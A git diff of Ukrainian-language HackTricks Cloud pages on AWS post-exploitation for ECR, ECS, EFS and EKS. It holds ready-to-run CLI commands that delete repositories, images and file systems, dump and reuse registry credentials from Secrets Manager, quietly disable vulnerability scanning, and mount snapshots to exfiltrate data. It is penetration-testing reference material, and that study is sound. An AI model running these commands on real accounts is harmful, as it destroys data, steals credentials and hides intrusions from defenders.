-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Після завантаження зображень ви повинні **перевірити їх на наявність чутливої інформації**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Зловмисник з будь-якими з цих дозволів може **створити або змінити політику життєвого циклу для видалення всіх зображень у репозиторії** і потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних зображень, збережених у репозиторії.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,206 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Для отримання додаткової інформації перегляньте
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Після завантаження образів слід **перевірити їх на наявність конфіденційної інформації**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Зловмисник з будь-яким із цих дозволів може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних образів, що зберігаються в репозиторії.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+
+Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream registries (Docker Hub, GHCR, ACR тощо), upstream credentials зберігаються в AWS Secrets Manager з передбачуваним префіксом імені: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкий доступ на читання до Secrets Manager, що дозволяє credential exfiltration та повторне використання поза AWS.
+
+Вимоги
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Перелічити кандидатські секрети PTC
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Dump виявлених секретів та розбір загальних полів
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Необов'язково: перевірити leaked creds проти upstream (логін тільки для читання)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Вплив
+- Читання цих записів Secrets Manager дає повторно використовувані upstream облікові дані реєстру (username/password or token), якими можна зловживати поза AWS для pull приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions.
+
+
+### Прихованість на рівні реєстру: вимкнути або понизити сканування через `ecr:PutRegistryScanningConfiguration`
+
+Зловмисник із правами ECR на рівні реєстру може непомітно зменшити або вимкнути автоматичне сканування вразливостей для всіх репозиторіїв, встановивши конфігурацію сканування реєстру в BASIC без правил scan-on-push. Це перешкоджає автоматичному скануванню нових push-ів образів, приховуючи вразливі або шкідливі образи.
+
+Requirements
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (перевірка)
+
+Registry-wide downgrade to manual (no auto scans)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Тест із repo та image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Необов'язково: подальше послаблення на рівні репозиторію
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Вплив
+- Нові пуші образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту і затримує виявлення до ініціації ручного сканування.
+
+
+### Пониження двигуна сканування в масштабі реєстру через `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Зменшіть якість виявлення вразливостей по всьому реєстру, переключивши BASIC scan engine з дефолтного AWS_NATIVE на застарілий двигун CLAIR. Це не вимикає сканування, але може суттєво змінити результати/покриття. Поєднайте з конфігурацією BASIC registry scanning без правил, щоб зробити сканування лише ручним.
+
+Вимоги
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Необов'язково) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Вплив
+- Налаштування реєстру `BASIC_SCAN_TYPE_VERSION` встановлено в `CLAIR`, тому наступні BASIC сканування виконуються з пониженим двигуном. CloudTrail фіксує виклик API `PutAccountSetting`.
+
+Кроки
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM Roles
-
-В ECS **IAM роль може бути призначена завданню**, що виконується всередині контейнера. **Якщо** завдання виконується всередині **EC2** екземпляра, **EC2 екземпляр** матиме **іншу IAM** роль, прикріплену до нього.\
-Це означає, що якщо вам вдасться **зламати** екземпляр ECS, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 екземпляром**. Для отримання додаткової інформації про те, як отримати ці облікові дані, перегляньте:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра.
-
-### Privesc to node to steal other containers creds & secrets
-
-Більше того, EC2 використовує docker для виконання завдань EC, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**.
-
-#### Making containers run in current host
-
-Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-Ту ж техніку можна виконати, **виключивши EC2 екземпляр з кластера**. Це потенційно менш приховано, але це **змусить завдання виконуватись на інших екземплярах:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Остання техніка для примусового повторного виконання завдань полягає в тому, щоб вказати ECS, що **завдання або контейнер були зупинені**. Існує 3 потенційні API для цього:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Вкрасти чутливу інформацію з контейнерів ECR
-
-EC2 екземпляр, ймовірно, також матиме дозвіл `ecr:GetAuthorizationToken`, що дозволяє йому **завантажувати зображення** (ви можете шукати чутливу інформацію в них).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - ECS Пост-експлуатація
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Ролі IAM на хості
+
+У ECS **IAM роль може бути призначена task**, що виконується всередині контейнера. **Якщо** task запускається всередині **EC2** instance, то **EC2 instance** матиме прикріплену **іншу IAM** роль.\
+Це означає, що якщо вам вдасться **компрометувати** ECS instance, ви потенційно можете **одержати IAM роль, пов'язану з ECR та EC2 instance**. Для отримання додаткової інформації про те, як отримати ці credentials дивіться:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Зверніть увагу, що якщо EC2 instance вимагає IMDSv2, [**відповідно до документації**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT-запит** матиме **hop limit of 1**, що унеможливлює доступ до EC2 metadata з контейнера всередині EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+Але крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете здійснити escape на node або **отримати доступ до docker socket**, ви зможете **перевірити**, які **інші containers** запущені, і навіть **потрапити всередину них** та **вкрасти прикріплені IAM roles**.
+
+#### Запуск контейнерів на поточному хості
+
+Крім того, **EC2 instance role** зазвичай матиме достатньо **permissions**, щоб **update the container instance state** EC2 інстансів, що використовуються як nodes у кластері. Атакуючий може змінити **state інстансу на DRAINING**, тоді ECS **видалить усі tasks з нього**, а ті, що запускаються як **REPLICA**, будуть **запущені в іншому instance**, потенційно всередині **instance атакуючого**, щоб він міг **вкрасти їхні IAM roles** та потенційно чутливу інформацію зсередини контейнера.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+Ту ж саму техніку можна виконати, **відреєструвавши EC2 instance з cluster**. Це потенційно менш приховано, але це **примусить tasks запускатися на інших instances:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Останній метод, щоб примусити повторне виконання задач — це повідомити ECS, що **завдання або контейнер було зупинено**. Існує 3 потенційні APIs для цього:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Викрасти чутливу інформацію з контейнерів ECR
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (you could search for sensitive info in them).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Підмонтувати EBS snapshot безпосередньо в ECS task (configuredAtLaunch + volumeConfigurations)
+
+Зловживайте нативною інтеграцією ECS з EBS (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера.
+
+- Потрібно (мінімум):
+- ecs:RegisterTaskDefinition
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole на:
+- роль інфраструктури ECS, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task ролі, на які посилається task definition
+- Якщо snapshot зашифровано CMK: потрібні права KMS для інфраструктурної ролі (вищезгадана керована політика AWS включає необхідні KMS-привілеї для ключів, керованих AWS).
+
+- Наслідок: читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) зсередини контейнера та ексфільтрація через мережу/логи.
+
+Кроки (приклад для Fargate):
+
+1) Створіть роль інфраструктури ECS (якщо вона не існує) і прикріпіть керовану політику:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Зареєструйте task definition з volume, позначеним як `configuredAtLaunch`, і змонтуйте його в container. Приклад (виводить секрет, потім спить):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Створіть або оновіть сервіс, передавши EBS snapshot через `volumeConfigurations.managedEBSVolume` (вимагає iam:PassRole для ролі infra). Приклад:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Коли task запускається, контейнер може прочитати вміст snapshot за вказаним mount path (наприклад, `/loot`). Exfiltrate через мережу/логи task.
+
+Очищення:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Зловмисник може видалити ціль монтування, що потенційно призведе до порушення доступу до файлової системи EFS для додатків і користувачів, які покладаються на цю ціль монтування.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Потенційний вплив**: Порушення доступу до файлової системи та потенційна втрата даних для користувачів або додатків.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Зловмисник може видалити всю файлову систему EFS, що може призвести до втрати даних та вплинути на додатки, які покладаються на файлову систему.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Потенційний вплив**: Втрата даних та порушення роботи для додатків, що використовують видалену файлову систему.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Зловмисник може оновити властивості файлової системи EFS, такі як режим пропускної здатності, щоб вплинути на її продуктивність або викликати виснаження ресурсів.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Потенційний вплив**: Погіршення продуктивності файлової системи або виснаження ресурсів.
-
-### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint`
-
-Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу та потенційно надаючи собі несанкціонований доступ до файлової системи.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Потенційний вплив**: Несанкціонований доступ до файлової системи, витік або модифікація даних.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Зловмисник може видалити mount target, що потенційно призведе до порушення доступу до файлової системи EFS для додатків та користувачів, які покладаються на цей mount target.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Потенційний вплив**: Порушення доступу до файлової системи та можливі втрати даних для користувачів або додатків.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Зловмисник може видалити цілу файлову систему EFS, що може призвести до втрати даних і вплинути на додатки, які залежать від цієї файлової системи.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Потенційний вплив**: Втрата даних та порушення роботи сервісу для додатків, що використовують видалену файлову систему.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Атакувальник може оновити властивості файлової системи EFS, такі як режим пропускної здатності, щоб вплинути на її продуктивність або спричинити вичерпання ресурсів.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Potential Impact**: Погіршення продуктивності файлової системи або виснаження ресурсів.
+
+### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint`
+
+Зловмисник може створювати або видаляти точки доступу, змінюючи контроль доступу і потенційно надаючи собі несанкціонований доступ до файлової системи.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Можливий вплив**: Несанкціонований доступ до файлової системи, розкриття або модифікація даних.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -1,143 +0,0 @@
-# AWS - EKS Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Для отримання додаткової інформації перегляньте
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Перерахунок кластера з консолі AWS
-
-Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати об'єкти Kubernetes** через консоль AWS EKS ([Дізнайтеся більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Підключення до AWS Kubernetes Кластера
-
-- Легкий спосіб:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Не такий простий спосіб:
-
-Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name <cluster_name>`**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати свій власний `~/.kube/config`**. Однак, маючи токен, вам все ще потрібен **url-адреса для підключення** (якщо вам вдалося отримати JWT токен з поду, читайте [тут](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) і **назва кластера**.
-
-У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemaplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube конфігурація</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWh